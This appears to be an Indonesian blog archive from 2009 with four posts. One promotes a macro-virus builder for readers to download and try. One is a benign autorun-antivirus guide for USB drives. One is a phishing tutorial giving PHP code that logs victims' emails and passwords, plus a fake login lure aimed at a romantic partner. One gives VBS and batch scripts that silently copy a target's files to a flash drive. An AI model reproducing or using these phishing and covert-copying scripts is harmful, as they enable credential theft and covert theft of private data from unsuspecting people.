Kamis, 26 Februari 2009

AWAS VIRUS!!!!!!!!!!

Berdasarkan sifat dan penyerangannya, virus komputer dapat dibedakan menjadi beberapa macam, misalnya virus boot sector, virus file, polymorphic virus, stealth virus, dan virus makro. Virus makro ini dapat menyerang pada dokumen MS Word, Excel atau Power Point. Virus makro ini termasuk virus yang paling banyak dijumpai di sekitar kita. Tentunya kita masih ingat dengan adanya virus Mellisa atau virus I Love You yang juga dapat kita masukkan ke dalam kategori virus macro.

Mengapa virus makro ini sering sekali kita jumpai? Jawabnya tentu saja karena populasi pengguna MS Office sangat banyak. Dengan pengguna yang cukup banyak tentunya virus makro dapat berkembang dengan cepat. Dengan melakukan pertukaran data *.doc (dokumen MS Word) yang telah terinfeksi maka sudah cukup untuk membuat semua dokumen menjadi terinfeksi.

Yang menarik, bagaimana cara membuat virus makro tersebut? Kalau Anda seorang programmer, dengan bantuan berbagai referensi tentunya mudah saja untuk belajar membuat virus makro. Masalahnya bagaimana kalau kita sama sekali tidak menguasai bahasa pemrograman?

Tenang saja, di internet banyak sekali software yang dapat digunakan untuk membuat virus makro. Salah satunya adalah SkamWerks Lab. Dengan fasilitas Virii Wizard, kita dapat membuat virus mulai dari awal sampai selesai. Saat menggunakan Virii Wizard, kita dapat menuliskan pembuat virusnya, nama virus, dan makro-makro yang akan dimasukkan ke dalam virus. Nah, daripada penasaran, silakan Anda cepat-cepat mencobanya sendiri. Tentunya setelah Anda mendownload programnya di sini.

Kamis, 19 Februari 2009

CARA MEMBUAT ANTI VIRUS DI USB FLASHDISK..

Jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke port komputer yang terinfeksi virus?
Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.
Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.

Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.
LANGKAH I - Download ANtiVirus yang bersifat Portable
Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.
LANGKAH II - Pembuatan AutoRun Dari Flash Disk
Ada 2 (dua) opsi yang bisa Anda pilih:

1. Menggunakan bantuan software orang lain, atau
2. Menggunakan bantuan tangan Anda sendiri

1. Menggunakan bantuan software orang lain
Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.
2. Menggunakan bantuan tangan Anda sendiri
Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.
Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091
Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.
Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus
[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus
Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.
KETERANGAN

* Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
* Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
* Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.

Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.

Cara MenGhaCk........

cara nya yg prtama qta dlakukan @ Web Hosting yg support PHP. Cari di paman Google banyak..
truuz Upload file index.html (ada di source)...eit., jngan lupa Sertakan code php dan JavaScript di bawah ini 

$email = $_POST[email];
$password = $_POST[password];
$fl = fopen(’password.txt’, ‘a’);
fwrite($fl, “$email . $password \n\n”);
fclose($fl);

?>

Dan upload file diatas ke www.webyangsupportphp.com
dan ” SAVE As ” sesuai dg nama link yg dituju pada Form Login.
ampe sni dh faham kn?
lanjut.....
trz Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dg kebutuhan kamu!!.
nh., stelah itu qm kerjakan seperti yg dibawah ini .......

kirim testi dg : 

hai syang .. gimna kabarna, kagen nie .. 

kalo udah...kan ya2ng qm mnerima t ..

Setelah sang pacar penerima testi membuka “New Testimonials”, maka sesuai dg perintah yang berada di JavaScript => window.location <= yg disisipkan maka link akan menuju ke http://webyangsupportphp.com/index.htm .

setelah terbuka, secara tanpa sadar sang pacar mengira halaman yg terbuka adalah sungguhan. Ya !!!! tanpa disuruh, dibelai-belai, n tanpa rayuan maut pun sang pacar akan dg rela hati mengisi Form login tipuan.
Akhirnya dg pura-pura tidak tahu, muka bego, sedikit bodoh. Si pengirim testi menawarkan jasanya untuk sang pacar tercinta… =] )

Selain itu teknik diatas akan terlihat seperti aslinya jika menggunakan ” OVERLAY GENERATOR ” pada profil fs pada saat pengiriman testimonial yg berisi html code ( index.htm). Dg mengganti link Relatif menjadi absolut(baca S.I.H lebih lanjut) pada form login di index.htm maka pada saat pengiriman data akan menuju ke http://webyangsupportphp.com/login.php

Senin, 16 Februari 2009

Trik Copy Data Ke Flash Disk Secara Diam-diam
1.Buka notepad, buat file vbs ketik atau copy paste script berikut:

dim wshshell, dos
set wshshell = wscript.createobject("wscript.shell")
dos = wshshell.expandenvironmentstrings("%coms...
wshshell.run (dos & " /c tarik.bat"), vbhide

2.Simpan dengan file name nya contoh start.vbs save as typenya pilih all files

3.Buka notepad lagi, buat file bat ketik atau copy paste script berikut:

@echo off
mkdir %computername% 
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r
@cls 
@exit 

4.Simpan dengan file name nya contoh tarik.bat save as typenya pilih all files.
Nama file bat ini harus sesuai dengan script file vbs baris ke empat (tarik.bat)

Simpan kedua file tersebut didalam flash disk, Untuk copy file komputer target secara diam-diam jalankan (2x klik) file start.vbs. 

Fungsi file vbs (start.vbs) berfungsi untuk menjalankan file bat (tarik.bat) secara diam-diam atau istilahnya background proses. Sedangkan file bat (tarik.bat) berfungsi untuk menjalankan perintah copy semua file dengan ektensi tertentu yang ada dikomputer target. 

Contoh tersebuat diatas adalah copy semua file yang berektensi jpg (file gambar) yang ada di folder MyDocuments di komputer target (lihat baris ketiga script file bat) Dan disimpan kedalam flash disk ke dalam folder dengan nama sesuai nama komputer target. anda bisa meng edit sendiri kedua file tsb diatas sesuai keperluan format file dan folder target yg akan di copy.